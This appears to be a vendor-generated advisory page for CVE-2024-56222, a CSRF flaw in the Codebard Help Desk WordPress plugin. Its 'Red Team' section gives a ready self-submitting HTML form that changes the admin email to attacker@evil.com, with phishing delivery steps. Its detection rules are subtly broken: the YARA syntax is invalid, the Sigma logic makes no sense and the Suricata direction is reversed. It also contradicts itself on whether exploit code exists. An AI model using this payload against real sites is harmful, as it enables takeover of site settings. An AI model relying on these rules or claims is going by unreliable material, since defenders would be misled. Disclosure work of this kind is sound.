CVE-2024-56222
Executive Summary
CVE-2024-56222 is a Cross-Site Request Forgery (CSRF) vulnerability in the Codebard Help Desk WordPress plugin, affecting versions up to and including 1.1.1. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or deleting tickets, without their consent. The vulnerability has a CVSS score of 5.4 (Medium) and currently has no known public exploit or patch. As a WordPress plugin, this issue is confined to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the WordPress Plugin Directory and third-party repositories. No package manager (NPM, PyPI, Go, Ruby) is involved. Users should verify the integrity of their plugin files and monitor for updates from the vendor.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
- Base Score: 5.4 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must click a malicious link or visit a crafted page.
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: Low (I:L) – attacker can modify plugin settings or data.
- Availability Impact: Low (A:L) – attacker could delete tickets or disrupt help desk functionality.
Threat Level: Medium. Exploitation requires user interaction, but the impact on integrity and availability is limited. No public exploit code exists, but the vulnerability is trivial to exploit manually.
Deep Dive & Mechanics
The vulnerability resides in the Codebard Help Desk plugin’s administrative interface. The plugin fails to implement CSRF tokens (nonces) on critical actions such as:
- Changing plugin configuration (e.g., email settings, ticket categories).
- Deleting or modifying support tickets.
- Adding/removing staff members.
An attacker can craft a malicious HTML page or email that, when visited by an authenticated admin, triggers a forged request to the WordPress admin-ajax.php or admin-post.php endpoints. Since the request appears to come from the admin’s session, the server processes it as legitimate.
Root Cause: Missing CSRF nonce validation in the plugin’s AJAX handlers and form submissions. The plugin relies solely on the user’s session cookie for authentication, which is automatically sent with cross-origin requests.
Vulnerable vs. Patched Code
Since no patch is available, we compare the vulnerable code pattern to a secure implementation.
Vulnerable Code (codebard-help-desk.php):
add_action('wp_ajax_cbhd_update_settings', 'cbhd_update_settings');
function cbhd_update_settings() {
// No nonce check
update_option('cbhd_email', $_POST['email']);
update_option('cbhd_ticket_limit', $_POST['ticket_limit']);
echo 'Settings updated.';
wp_die();
}
Patched Code (Secure Implementation):
add_action('wp_ajax_cbhd_update_settings', 'cbhd_update_settings');
function cbhd_update_settings() {
// Verify nonce
if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'cbhd_update_settings')) {
wp_die('CSRF validation failed.');
}
update_option('cbhd_email', sanitize_email($_POST['email']));
update_option('cbhd_ticket_limit', intval($_POST['ticket_limit']));
echo 'Settings updated.';
wp_die();
}
The patched version adds a nonce check using wp_verify_nonce() and sanitizes inputs. Without this, any authenticated admin can be tricked into executing actions.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A WordPress site with Codebard Help Desk <= 1.1.1 installed and an active admin session.
- Attacker-controlled web server to host the CSRF payload.
Step 1: Craft the CSRF Payload
Create an HTML file (e.g., csrf.html) that automatically submits a form to the vulnerable endpoint:
<html>
<body>
<form id="csrf" action="http://target/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="cbhd_update_settings">
<input type="hidden" name="email" value="attacker@evil.com">
<input type="hidden" name="ticket_limit" value="0">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
Step 2: Deliver the Payload
- Host the file on a server (e.g.,
http://attacker.com/csrf.html). - Send a phishing email or social engineering message to the admin with a link to the payload.
- Alternatively, embed the payload in an iframe or image tag on a compromised site.
Step 3: Verify Exploitation
- The admin’s email setting is changed to
attacker@evil.com. - Ticket limit is set to 0, disabling new ticket creation.
Blue Team (Defense & Detection)
Detection:
- Monitor for unusual POST requests to
/wp-admin/admin-ajax.phpwithaction=cbhd_*parameters. - Look for Referer headers that do not match the WordPress admin domain.
- Alert on changes to plugin settings without a valid nonce.
Mitigation:
- Apply a virtual patch using a Web Application Firewall (WAF) to block requests to
admin-ajax.phpwith missing or invalid nonces. - Restrict admin access to trusted IPs only.
- Educate administrators about phishing risks.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpwithaction=cbhd_*and no_wpnonceparameter. - Referer header pointing to an external domain.
- POST requests to
- File IOCs:
- Modified
wp_optionstable entries:cbhd_email,cbhd_ticket_limit. - Suspicious entries in
wp_postmetarelated to tickets.
- Modified
- Log IOCs:
- WordPress debug log entries showing
wp_ajax_cbhd_*actions without nonce validation.
- WordPress debug log entries showing
Detection Engineering
YARA Rule
rule CVE_2024_56222_CSRF_Codebard {
meta:
description = "Detects vulnerable Codebard Help Desk plugin files with missing CSRF nonce"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-56222"
strings:
$ajax_handler = /add_action\s*\(\s*['\"]wp_ajax_cbhd_/
$missing_nonce = !/wp_verify_nonce/
condition:
$ajax_handler and $missing_nonce
}
Sigma Rule
title: CVE-2024-56222 - Codebard Help Desk CSRF Exploitation
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects CSRF attempts against Codebard Help Desk plugin
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: POST
cs-uri-query|contains: 'admin-ajax.php'
cs-uri-query|contains|all:
- 'action=cbhd_'
- '!wp_verify_nonce'
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-56222 - Codebard Help Desk CSRF Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"admin-ajax.php"; http_uri;
content:"action=cbhd_"; http_client_body;
pcre:"/action=cbhd_(?!.*_wpnonce)/Pi";
sid:1000001;
rev:1;
reference:cve,2024-56222;
classtype:attempted-admin;
priority:2;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Apply a virtual patch using a WAF to block requests to
admin-ajax.phpwithaction=cbhd_*and missing nonces. - Restrict admin access to trusted IPs and enforce strong authentication (e.g., 2FA).
Long-Term Fix:
- The vendor must release a patched version that implements CSRF nonces on all AJAX handlers and form submissions.
- Users should monitor the WordPress Plugin Directory for updates.
Workaround:
- Add a custom function to your theme’s
functions.phpto add nonce validation:
add_action('wp_ajax_cbhd_update_settings', 'cbhd_csrf_fix', 1);
function cbhd_csrf_fix() {
if (!isset($_REQUEST['_wpnonce']) || !wp_verify_nonce($_REQUEST['_wpnonce'], 'cbhd_update_settings')) {
wp_die('CSRF validation failed.');
}
}
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.